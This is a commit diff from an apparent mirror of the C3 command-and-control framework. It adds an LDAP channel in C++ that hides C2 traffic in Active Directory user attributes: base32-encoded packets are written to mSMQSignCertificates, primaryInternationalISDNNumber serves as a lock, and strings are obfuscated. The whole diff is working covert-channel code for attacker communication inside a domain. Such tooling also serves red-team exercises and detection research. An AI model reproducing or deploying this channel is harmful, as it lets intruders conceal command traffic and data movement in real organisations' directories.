mirror of https://github.com/infosecn1nja/C3.git
Release LDAP channel
parent
626ed972d7
commit
8d11e832a6
|
@ -14,6 +14,7 @@
|
|||
<ProjectCapability Include="SourceItemsFromImports" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.cpp" />
|
||||
|
@ -62,6 +63,7 @@
|
|||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base64_default_rfc4648.hpp" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\OneDrive365RestFile.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Outlook365RestTask.h" />
|
||||
|
|
|
@ -40,6 +40,7 @@
|
|||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.cpp" />
|
||||
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
|
||||
|
@ -129,5 +130,6 @@
|
|||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\GoogleDrive.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Github.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Github\GithubApi.h" />
|
||||
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\LDAP.h" />
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,294 @@
|
|||
#include "stdafx.h"
|
||||
#ifndef SECURITY_WIN32
|
||||
#define SECURITY_WIN32
|
||||
#endif
|
||||
|
||||
#include "LDAP.h"
|
||||
#include "Common/FSecure/CppTools/StringConversions.h"
|
||||
#include "Common/FSecure/CppTools/ScopeGuard.h"
|
||||
#include "Common/FSecure/Crypto/Base32.h"
|
||||
#include <comdef.h> // COM definitions
|
||||
#include <activeds.h> // ADSI definitions
|
||||
#pragma comment(lib, "Adsiid.lib")
|
||||
#pragma comment(lib, "Activeds.lib")
|
||||
#pragma comment(lib, "Secur32.lib")
|
||||
#include <security.h>
|
||||
#include <secext.h>
|
||||
#include <Iads.h>
|
||||
#include <adshlp.h>
|
||||
|
||||
using namespace FSecure::StringConversions;
|
||||
|
||||
namespace FSecure::C3::Interfaces::Channels::Detail
|
||||
{
|
||||
bool ComInit()
|
||||
{
|
||||
if (FAILED(CoInitialize(nullptr)))
|
||||
throw std::runtime_error{ OBF("Failed to intialize COM") };
|
||||
return true;
|
||||
}
|
||||
|
||||
ComInitializer::ComInitializer() :
|
||||
m_Init{ reinterpret_cast<void*>(ComInit()), &Deleter }
|
||||
{
|
||||
}
|
||||
|
||||
void ComInitializer::Deleter(void*)
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
FSecure::C3::Interfaces::Channels::LDAP::LDAP(ByteView arguments)
|
||||
: m_inboundDirectionName{ arguments.Read<std::string>() }
|
||||
, m_outboundDirectionName{ arguments.Read<std::string>() }
|
||||
, m_ldapAttribute{ Convert<Utf16>(arguments.Read<std::string>()) }
|
||||
, m_ldapLockAttribute{ Convert<Utf16>(arguments.Read<std::string>()) }
|
||||
, m_maxPacketSize{ arguments.Read<uint32_t>() }
|
||||
, m_domainController{ Convert<Utf16>(arguments.Read<std::string>()) }
|
||||
, m_username{ Convert<Utf16>(arguments.Read<std::string>()) }
|
||||
, m_password{ Convert<Utf16>(arguments.Read<std::string>()) }
|
||||
, m_userDN{ Convert<Utf16>(arguments.Read<std::string>()) }
|
||||
, m_Com{}
|
||||
, m_DirObject{ CreateDirectoryObject() }
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
size_t FSecure::C3::Interfaces::Channels::LDAP::OnSendToChannel(ByteView data)
|
||||
{
|
||||
// Check if the attribute is locked for writing already
|
||||
if (!GetAttributeValue(m_ldapLockAttribute).empty())
|
||||
// It's locked which means it hasn't been read yet
|
||||
return 0;
|
||||
|
||||
// If not then lock it by setting the lock attribute to be the name of our intended recipient
|
||||
SetAttribute(m_ldapLockAttribute, Convert<Utf16>(m_outboundDirectionName));
|
||||
|
||||
// Find out what size chunks we're able to send
|
||||
size_t sizeOfDataToWrite = CalculateDataSize(data);
|
||||
|
||||
// Encode the data
|
||||
std::string dataToWrite = EncodeData(data, sizeOfDataToWrite);
|
||||
|
||||
// Write the data
|
||||
SetAttribute(m_ldapAttribute, Convert<Utf16>(dataToWrite));
|
||||
|
||||
return sizeOfDataToWrite;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
FSecure::ByteVector FSecure::C3::Interfaces::Channels::LDAP::OnReceiveFromChannel()
|
||||
{
|
||||
|
||||
std::string lockValue = GetAttributeValue(m_ldapLockAttribute);
|
||||
|
||||
// If attribute or lock is empty then nothing to be read
|
||||
if (lockValue.empty() || lockValue != m_inboundDirectionName)
|
||||
return {};
|
||||
|
||||
std::string attributeValue = GetAttributeValue(m_ldapAttribute);
|
||||
|
||||
if (attributeValue.empty())
|
||||
return {};
|
||||
// Decode attribute value and prepare to send it back
|
||||
ByteVector ret = base32::decode(attributeValue);
|
||||
|
||||
// Clear the data attribute
|
||||
ClearAttribute(m_ldapAttribute);
|
||||
|
||||
// Clear the lock so that data can be written again
|
||||
ClearAttribute(m_ldapLockAttribute);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
FSecure::C3::Interfaces::Channels::Detail::ComPtr<IDirectoryObject> FSecure::C3::Interfaces::Channels::LDAP::CreateDirectoryObject()
|
||||
{
|
||||
IDirectoryObject* dirObject;
|
||||
std::wstring ldapUrl = OBF(L"LDAP://") + m_domainController + L"/" + m_userDN;
|
||||
HRESULT hr;
|
||||
if (!m_username.empty() || !m_password.empty())
|
||||
hr = ADsOpenObject(ldapUrl.c_str(), m_username.c_str(), m_password.c_str(), ADS_SECURE_AUTHENTICATION, IID_IDirectoryObject, (void**)&dirObject);
|
||||
else
|
||||
hr = ADsOpenObject(ldapUrl.c_str(), nullptr, nullptr, ADS_SECURE_AUTHENTICATION, IID_IDirectoryObject, (void**)&dirObject);
|
||||
|
||||
if (!SUCCEEDED(hr))
|
||||
throw std::runtime_error{ OBF("Couldn't bind to Active Directory.") };
|
||||
|
||||
return { dirObject };
|
||||
}
|
||||
|
||||
|
||||
void FSecure::C3::Interfaces::Channels::LDAP::ClearAttribute(std::wstring const& attribute)
|
||||
{
|
||||
DWORD dwReturn = 0;
|
||||
|
||||
ADS_ATTR_INFO attrInfo{ const_cast<LPWSTR>(attribute.c_str()), ADS_ATTR_CLEAR, ADSTYPE_CASE_IGNORE_STRING, NULL, 1 };
|
||||
auto hr = m_DirObject->SetObjectAttributes(&attrInfo, 1, &dwReturn);
|
||||
if (!SUCCEEDED(hr))
|
||||
throw std::runtime_error{ OBF("Couldn't clear attribute.") };
|
||||
}
|
||||
|
||||
|
||||
std::string FSecure::C3::Interfaces::Channels::LDAP::GetAttributeValue(std::wstring const& attribute)
|
||||
{
|
||||
ADS_ATTR_INFO* pAttrInfo = nullptr;
|
||||
|
||||
LPWSTR pAttrNames[] = { const_cast<LPWSTR>(attribute.c_str()) };
|
||||
DWORD dwReturn = 0;
|
||||
|
||||
HRESULT hr = m_DirObject->GetObjectAttributes(pAttrNames, 1, &pAttrInfo, &dwReturn);
|
||||
|
||||
if (FAILED(hr))
|
||||
throw std::runtime_error{ OBF("Failed to get attribute value.") };
|
||||
|
||||
auto attrInfo = std::unique_ptr<ADS_ATTR_INFO, decltype(&FreeADsMem)>{ pAttrInfo, &FreeADsMem };
|
||||
|
||||
// Check if the attribute is empty, returning an empty string if so
|
||||
if (dwReturn == 0)
|
||||
return "";
|
||||
|
||||
switch (pAttrInfo[0].dwADsType)
|
||||
{
|
||||
case ADSTYPE_CASE_IGNORE_STRING:
|
||||
return Convert<Utf8>(pAttrInfo[0].pADsValues[0].CaseIgnoreString);
|
||||
case ADSTYPE_OCTET_STRING:
|
||||
return { reinterpret_cast<char const*>(pAttrInfo[0].pADsValues[0].OctetString.lpValue), pAttrInfo[0].pADsValues[0].OctetString.dwLength };
|
||||
}
|
||||
throw std::runtime_error{ OBF("Couldn't read the attribute type, pick a better attribute.") };
|
||||
}
|
||||
|
||||
|
||||
void FSecure::C3::Interfaces::Channels::LDAP::SetAttribute(std::wstring const& attribute, std::wstring const& value)
|
||||
{
|
||||
ADSVALUE snValue;
|
||||
snValue.dwType = ADSTYPE_CASE_IGNORE_STRING;
|
||||
snValue.CaseIgnoreString = const_cast<LPWSTR>(value.c_str());
|
||||
ADS_ATTR_INFO attrInfo[] = { const_cast<LPWSTR>(attribute.c_str()), ADS_ATTR_UPDATE, ADSTYPE_CASE_IGNORE_STRING, &snValue, 1 };
|
||||
DWORD dwReturn = NULL;
|
||||
HRESULT hr = m_DirObject->SetObjectAttributes(attrInfo, 1, &dwReturn);
|
||||
|
||||
if (!SUCCEEDED(hr))
|
||||
throw std::runtime_error{ OBF("Failed to set attribute, likely because it doesn't exist.") };
|
||||
}
|
||||
|
||||
|
||||
size_t FSecure::C3::Interfaces::Channels::LDAP::CalculateDataSize(ByteView data)
|
||||
{
|
||||
auto maxPacketSize = base32::decoded_max_size(m_maxPacketSize);
|
||||
return std::min(maxPacketSize, data.size());
|
||||
}
|
||||
|
||||
|
||||
std::string FSecure::C3::Interfaces::Channels::LDAP::EncodeData(ByteView data, size_t dataSize)
|
||||
{
|
||||
auto sendData = data.SubString(0, dataSize);
|
||||
return base32::encode(sendData.data(), sendData.size());
|
||||
}
|
||||
|
||||
|
||||
FSecure::ByteVector FSecure::C3::Interfaces::Channels::LDAP::OnRunCommand(ByteView command)
|
||||
{
|
||||
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
|
||||
switch (command.Read<uint16_t>())
|
||||
{
|
||||
case 0:
|
||||
//lock first to avoid race condition
|
||||
SetAttribute(m_ldapLockAttribute, Convert<Utf16>(L"CLEAR"));
|
||||
//clear attribute
|
||||
ClearAttribute(m_ldapAttribute);
|
||||
ClearAttribute(m_ldapLockAttribute);
|
||||
return {};
|
||||
default:
|
||||
return AbstractChannel::OnRunCommand(commandCopy);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
const char* FSecure::C3::Interfaces::Channels::LDAP::GetCapability()
|
||||
{
|
||||
return R"_(
|
||||
{
|
||||
"create":
|
||||
{
|
||||
"arguments":
|
||||
[
|
||||
[
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Input ID",
|
||||
"min": 4,
|
||||
"randomize": true,
|
||||
"description": "Used to distinguish packets for the channel"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Output ID",
|
||||
"min": 4,
|
||||
"randomize": true,
|
||||
"description": "Used to distinguish packets from the channel"
|
||||
}
|
||||
],
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Data LDAP Attribute",
|
||||
"min": 1,
|
||||
"defaultValue": "mSMQSignCertificates",
|
||||
"description": "The LDAP attribute to write data into. Recommend mSMQSignCertificates (MANUALLY CHECK THAT IT IS EMPTY)"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Lock LDAP Attribute",
|
||||
"min": 1,
|
||||
"defaultValue": "primaryInternationalISDNNumber",
|
||||
"description": "The LDAP attribute to use as the lock. Recommend primaryInternationalISDNNumber (MANUALLY CHECK THAT IT IS EMPTY)"
|
||||
},
|
||||
{
|
||||
"type": "uint32",
|
||||
"name": "Max Packet Size",
|
||||
"min": 1,
|
||||
"defaultValue": "1047552",
|
||||
"description": "The maximum number of bytes that your selected LDAP attribute supports"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Domain Controller",
|
||||
"min": 1,
|
||||
"defaultValue": "<FQDN>",
|
||||
"description": "The domain controller to target, avoids waiting for synchronisations"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Username",
|
||||
"defaultValue": "",
|
||||
"description": "The FQDN of the account to modify (i.e. fsecure@uk.test.com), defaults to executing user if empty"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "Password",
|
||||
"defaultValue": "",
|
||||
"description": "The password of the account to modify, defaults to executing user if empty"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"name": "User DN",
|
||||
"defaultValue": "CN=Jeff Smith,CN=users,DC=fabrikam,DC=com",
|
||||
"description": "The Distinguished Name (DN) of the account to modify"
|
||||
}
|
||||
]
|
||||
},
|
||||
"commands": [
|
||||
{
|
||||
"name": "Clear attribute values",
|
||||
"id": 0,
|
||||
"description": "Clear data and lock attributes in the event of an error",
|
||||
"arguments": []
|
||||
}
|
||||
]
|
||||
}
|
||||
)_";
|
||||
}
|
|
@ -0,0 +1,108 @@
|
|||
#pragma once
|
||||
|
||||
#include <winnt.h>
|
||||
|
||||
struct IDirectoryObject;
|
||||
|
||||
namespace FSecure::C3::Interfaces::Channels
|
||||
{
|
||||
namespace Detail
|
||||
{
|
||||
/// @brief RAII wrapper to call CoInitialize / CoUninitialize
|
||||
struct ComInitializer
|
||||
{
|
||||
ComInitializer();
|
||||
|
||||
private:
|
||||
static void Deleter(void*);
|
||||
|
||||
std::unique_ptr<void, decltype(&Deleter)> m_Init;
|
||||
};
|
||||
|
||||
/// @brief RAII wrapper around ComPtr to call IUnknown::Release
|
||||
/// @tparam T
|
||||
template<typename T>
|
||||
struct ComPtr
|
||||
{
|
||||
ComPtr(T* ptr) : m_Ptr{ ptr, &Deleter } {}
|
||||
|
||||
T* operator -> () { return m_Ptr.get(); }
|
||||
|
||||
private:
|
||||
static void Deleter(T* ptr)
|
||||
{
|
||||
ptr->Release();
|
||||
}
|
||||
|
||||
std::unique_ptr<T, decltype(&Deleter)> m_Ptr;
|
||||
};
|
||||
}
|
||||
|
||||
///Implementation of the LDAP Channel.
|
||||
struct LDAP : public Channel<LDAP>
|
||||
{
|
||||
/// Public constructor.
|
||||
/// @param arguments factory arguments.
|
||||
LDAP(ByteView arguments);
|
||||
|
||||
/// Destructor
|
||||
virtual ~LDAP() = default;
|
||||
|
||||
/// OnSend callback implementation.
|
||||
/// @param packet data to send to Channel.
|
||||
/// @returns size_t number of bytes successfully written.
|
||||
size_t OnSendToChannel(ByteView packet);
|
||||
|
||||
/// Reads a single C3 packet from Channel.
|
||||
/// @return packet retrieved from Channel.
|
||||
ByteVector OnReceiveFromChannel();
|
||||
|
||||
Detail::ComPtr<IDirectoryObject> CreateDirectoryObject();
|
||||
|
||||
void ClearAttribute(std::wstring const& attribute);
|
||||
|
||||
std::string GetAttributeValue(std::wstring const& attribute);
|
||||
|
||||
void SetAttribute(std::wstring const& attribute, std::wstring const& value);
|
||||
|
||||
size_t CalculateDataSize(ByteView data);
|
||||
|
||||
static std::string EncodeData(ByteView data, size_t dataSize);
|
||||
|
||||
FSecure::ByteVector OnRunCommand(ByteView command) override;
|
||||
|
||||
/// Get channel capability.
|
||||
/// @returns Channel capability in JSON format
|
||||
static const char* GetCapability();
|
||||
|
||||
/// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
|
||||
/// Set long delay otherwise LDAP rate limit will heavily impact channel.
|
||||
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
|
||||
|
||||
protected:
|
||||
/// The inbound direction name of data
|
||||
std::string m_inboundDirectionName;
|
||||
/// The outbound direction name, the opposite of m_inboundDirectionName
|
||||
std::string m_outboundDirectionName;
|
||||
/// The LDAP attribute to save the data too
|
||||
std::wstring m_ldapAttribute;
|
||||
/// The LDAP attribute to use as the lock
|
||||
std::wstring m_ldapLockAttribute;
|
||||
/// Maximum packet size
|
||||
uint32_t m_maxPacketSize;
|
||||
/// Target domain controller to bind to
|
||||
std::wstring m_domainController;
|
||||
/// An explict LDAP username to bind to
|
||||
std::wstring m_username;
|
||||
/// The password needed to bind to the target user
|
||||
std::wstring m_password;
|
||||
/// Distinguished name of the target user
|
||||
std::wstring m_userDN;
|
||||
|
||||
/// Initialize COM
|
||||
Detail::ComInitializer m_Com;
|
||||
|
||||
/// LDAP directory object used to query AD
|
||||
Detail::ComPtr<IDirectoryObject> m_DirObject;
|
||||
};
|
||||
}
|
Loading…
Reference in New Issue